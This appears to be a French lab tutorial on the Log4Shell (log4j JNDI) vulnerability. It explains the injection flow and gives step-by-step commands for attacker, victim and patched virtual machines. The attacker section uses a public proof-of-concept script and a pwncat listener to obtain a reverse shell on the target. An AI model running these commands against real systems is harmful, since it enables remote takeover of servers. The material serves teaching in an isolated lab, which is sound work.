Skip to content

Log4J

Explication de la faille de sécurité

La théorie

La faille log4j exploite une fonctionnalité de recherche JNDI non sécurisée, activée par défaut dans plusieurs versions de la bibliothèque de logging log4j. C'est une bibliothèque de journalisation très populaire utilisée dans de nombreux projets et applications Java. Voici comme théoriqument exploiter la faille de sécurité dans un environnement non sécurisé : 1. L’attaquant envoie le paquet préparé pour l’attaque (payload), par exemple dans le champ « nom d’utilisateur » d’un formulaire HTML, qu’on imagine aisément tracé sur les logs de l’application, mais toute information loguée ferait l’affaire (un entête HTTP peut suffire) ; 2. Le serveur reçoit l’info et écrit, via log4j, dans les logs de l’application ; 3. Le payload contient un appel JNDI. log4j va alors réaliser ce lookup et aller chercher l’objet désigné qui sera injecté dans le processus du serveur cible.

Voici un shéma pratique :

La pratique

Pour exploiter la faille nous allons utiliser cette outil : Github

Ont peut voir l'exploitation de l'outils ci dessous :

https://user-images.githubusercontent.com/87979263/146113359-20663eaa-555d-4d60-828d-a7f769ebd266.mp4


En regardant le script python utiliser on peut voire la fonction génère qui une classe Java (Exploit.java) contenant un code qui, lorsqu'il est exécuté, ouvrira un shell inversé vers l'adresse IP et le port spécifiés.

La fonction ce-dessous génère le payload Java, configure et lance un serveur LDAP dans un nouveau thread, et lance également un serveur web. Ces serveurs sont nécessaires pour servir le payload et exploiter la vulnérabilité log4j sur le système cible.

Mise en place du TP

Prérequis

  1. Instance débian ou un dérivé
  2. Trois VM sur le même réseua

Préparation de l'attaquant

Installer le payload

sudo apt update
sudo apt install python3 pip -y
pip install colorama argparse pwncat-cs
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
wget https://next.albt.org/s/HrdQXQ7x6n4xYCM/download/jre-8u20-linux-x64.tar.gz
tar -xf jdk-8u20-linux-x64.tar.gz
python3 poc.py --userip 10.3.3.193 --webport 8000 --lport 9001

Dans une autre session attender le payload pour prendre la main

python3 -m pwncat -lp 9001 -m linux

Préparation de la victime

Installer docker et installer l'instance web :

git clone https://github.com/kozmer/log4j-shell-poc
sudo apt install docker 
cd log4j-shell-poc
sudo docker build -t log4j-shell-poc .
sudo docker run -d --restart unless-stopped --name log4j-target --network host log4j-shell-poc

Préparation de la version patché

git clone https://github.com/kozmer/log4j-shell-poc
sudo apt install docker 
cd log4j-shell-poc
rm Dockerfile
sudo tee -a Dockerfile  >/dev/null <<'EOF'
FROM tomcat:9.0-jre8
RUN rm -rf /usr/local/tomcat/webapps/*
ADD target/log4shell-1.0-SNAPSHOT.war /usr/local/tomcat/webapps/ROOT.war
EXPOSE 8080 
CMD ["catalina.sh", "run"]
EOF

Les sources :

Github et Autre